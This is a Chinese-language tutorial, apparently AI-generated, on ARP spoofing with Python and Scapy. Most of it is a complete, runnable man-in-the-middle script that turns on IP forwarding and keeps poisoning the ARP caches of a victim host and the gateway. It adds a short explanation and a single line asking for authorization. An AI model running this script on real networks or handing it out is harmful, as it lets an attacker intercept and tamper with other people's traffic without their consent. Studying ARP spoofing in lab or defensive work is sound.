### 使用 Python 和 Scapy 实现 ARP 攻击 ARP 攻击是一种通过伪造 ARP 数据包来欺骗局域网内设备的技术。以下是基于 Scapy 的 ARP 攻击实现方法及其代码示例。 #### 1. 准备环境 为了运行以下代码，需安装 Scapy 库并具备管理员权限以发送网络数据包。可以通过 pip 安装 Scapy： ```bash pip install scapy ``` #### 2. 示例代码：基本 ARP 欺骗 下面的代码展示了如何使用 Scapy 发送伪造的 ARP 响应，使目标机器误以为攻击者的 MAC 地址对应于某个 IP 地址[^1]： ```python from scapy.all import * import time def enable_ip_forwarding(): """启用 IP 转发以便能够转发流量""" with open("/proc/sys/net/ipv4/ip_forward", "w") as ipf: ipf.write("1\n") def disable_ip_forwarding(): """禁用 IP 转发""" with open("/proc/sys/net/ipv4/ip_forward", "w") as ipf: ipf.write("0\n") def get_mac(ip_address): """获取指定 IP 对应的 MAC 地址""" resp, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address), timeout=2, retry=10) for _, r in resp: return r[Ether].src return None def spoof_target(target_ip, host_ip): """向目标发送伪造的 ARP 响应""" target_mac = get_mac(target_ip) if not target_mac: raise Exception(f"无法解析 {target_ip} 的 MAC 地址") arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op="is-at") send(arp_response, verbose=False) def restore_network(target_ip, host_ip): """恢复正常的 ARP 表项""" target_mac = get_mac(target_ip) host_mac = get_mac(host_ip) if not target_mac or not host_mac: raise Exception("无法还原 ARP 表项") arp_restore = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac, op="is-at") send(arp_restore, count=5, verbose=False) if __name__ == "__main__": try: gateway_ip = "192.168.1.1" victim_ip = "192.168.1.100" enable_ip_forwarding() while True: spoof_target(victim_ip, gateway_ip) # 让受害者认为我们的 MAC 是网关 spoof_target(gateway_ip, victim_ip) # 让网关认为我们的 MAC 是受害者 time.sleep(2) except KeyboardInterrupt: print("\n[-] 还原网络配置...") restore_network(victim_ip, gateway_ip) restore_network(gateway_ip, victim_ip) disable_ip_forwarding() print("[+] 网络已恢复正常.") ``` 此脚本的功能如下： - 启用 Linux 下的 IP 转发功能，允许攻击者作为中间节点转发受害者的流量。 - 获取目标和网关的 MAC 地址。 - 不断发送伪造的 ARP 响应，告诉目标其网关对应的 MAC 地址为攻击者的 MAC 地址；同时也告知网关该目标的 MAC 地址为攻击者的 MAC 地址。 - 当检测到用户中断时，自动恢复原始 ARP 配置并关闭 IP 转发。 #### 3. 关键点说明 - **IP 转发**：在某些操作系统（如 Linux）中，默认情况下不会转发接收到的数据包。因此，在执行 ARP 中间人攻击前需要开启 IP 转发功能[^3]。 - **MAC 解析**：函数 `get_mac` 利用广播 ARP 请求的方式获得特定 IP 所属设备的真实 MAC 地址。 - **异常处理**：如果未能成功解析目标或网关的 MAC 地址，则抛出错误提示退出程序。 - **安全性考虑**：实际部署此类测试时务必确保合法授权，并仅限实验环境中操作。 --- ####